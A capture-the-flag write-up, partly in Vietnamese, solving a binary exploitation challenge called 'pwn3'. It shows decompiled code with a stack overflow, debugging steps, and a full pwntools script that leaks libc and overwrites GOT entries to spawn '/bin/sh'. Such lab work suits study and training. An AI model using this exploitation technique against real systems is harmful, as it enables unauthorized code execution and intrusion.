PWN3
Setup
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ chmod +x ./run.sh ./service/chall ./service/libc.so.6 ./service/ld-linux-x86-64.so.2
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ code .
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ ./run.shngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ nc 0 9003
Enter your name: Hung
Hi Hung
Choose the type: 1
Enter your number: 9921
Your data is: 9921
Choose the type: 2
Enter size: 3924
Size too large!
Choose the type: 4
Invalid type!
Recon
Mitigation

Code
read_name()
int read_name()
{
__int64 buf[32]; // [rsp+0h] [rbp-100h] BYREF
memset(buf, 0, sizeof(buf));
printf("Enter your name: ");
read(0, buf, 255uLL); // buffer overflow
return printf("Hi %s\n", (const char *)buf);
}handler()
int handler()
{
int type; // [rsp+4h] [rbp-Ch] BYREF
Data *buf; // [rsp+8h] [rbp-8h]
if (!buf)
buf = (Data *)calloc(1uLL, 272uLL);
printf("Choose the type: ");
__isoc99_scanf("%u", &type);
if (type == 1)
{
buf->type = 1;
printf("Enter your number: ");
__isoc99_scanf("%lu", &buf->num);
return printf("Your data is: %lu\n\n", buf->num);
}
else if (type == 2)
{
buf->type = 2;
printf("Enter size: ");
__isoc99_scanf("%u", &buf->size);
if (buf->size <= 256)
{
printf("Enter your data: ");
read(0, buf->data, buf->size);
printf("Your data is: ");
return puts(buf->data);
}
else
{
return puts("Size too large!\n");
}
}
else
{
return puts("Invalid type!\n");
}
}Struct của Data trông như sau:

Solve
Nhìn code mãi mình chẳng thấy đoạn nào có dấu hiệu nguy hiểm cả. Mình thử input name đủ 255 byte thì gặp sigsegv:

Vậy offset đến đó là:
pwndbg> cyclic -l gaaaaaab
Finding cyclic pattern of 8 bytes: b'gaaaaaab' (hex: 0x6761616161616162)
Found at offset 248Nhìn vào đây mình biết rằng nó bị sigsegv khi đang cố truy cập buf:

Vậy mình có thể input địa chỉ bất kỳ vào cuối name để buf trỏ đến đó. Ở đây mình cho buf trỏ đến GOT entry của calloc (vì calloc giờ không còn động đến nữa):

Mình có thể dùng type = 2 để leak địa chỉ của setvbuf -> leak libc.
Mình tiếp tục dùng type = 2 để ghi đè scanf() đến one_gadget() nhưng ko cái nào được. Mình thử ghi đè exit() để lúc timeout chương trình sẽ gọi nhưng cũng ko được. Mình lại cố gắng ghi đè puts() thành system() và nhập /bin/bash vào data để lúc return puts(buf->data); mở shell, nhưng cũng ko được.
Lúc này mình khá là bí, cho đến khi mình nhìn để ý hàm setup():
unsigned int setup()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
signal(14, signal_handler);
return alarm(0x1Eu);
}Mà stdin, out, err đều nằm dưới GOT:

Mình thử ghi đè setvbuf() -> system(), scanf() -> setup(), stderr -> “/bin/sh”, và thế là được:
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
pa = lambda t, addr: print(f'{t}: {hex(addr)}')
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
gdbscript = '''
b *handler
set follow-fork-mode child
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "localhost"
port = 9003
return remote(host, port)
p = conn()
def type1(num):
slan(p, b'type', 1)
slan(p, b'number', num)
def type2(size, data):
slan(p, b'type', 2)
slan(p, b'size', size)
if size <= 256:
sa(p, b'your data', data)
sa(p, b'name', flat(
b'A' * 248,
p64(0x404038)[:3]
))
type2(64, b'A')
ru(p, b'Your data is: ')
libc.address = leak_bytes(rn(p, 6), 0x81541)
pa("libc base", libc.address)
type2(255, flat(
libc.symbols['system'],
exe.symbols['setup'],
0, 0, 0, 0, 0,
libc.symbols['_IO_2_1_stdout_'],
0,
libc.symbols['_IO_2_1_stdin_'],
0,
binsh(libc)
))
ia(p)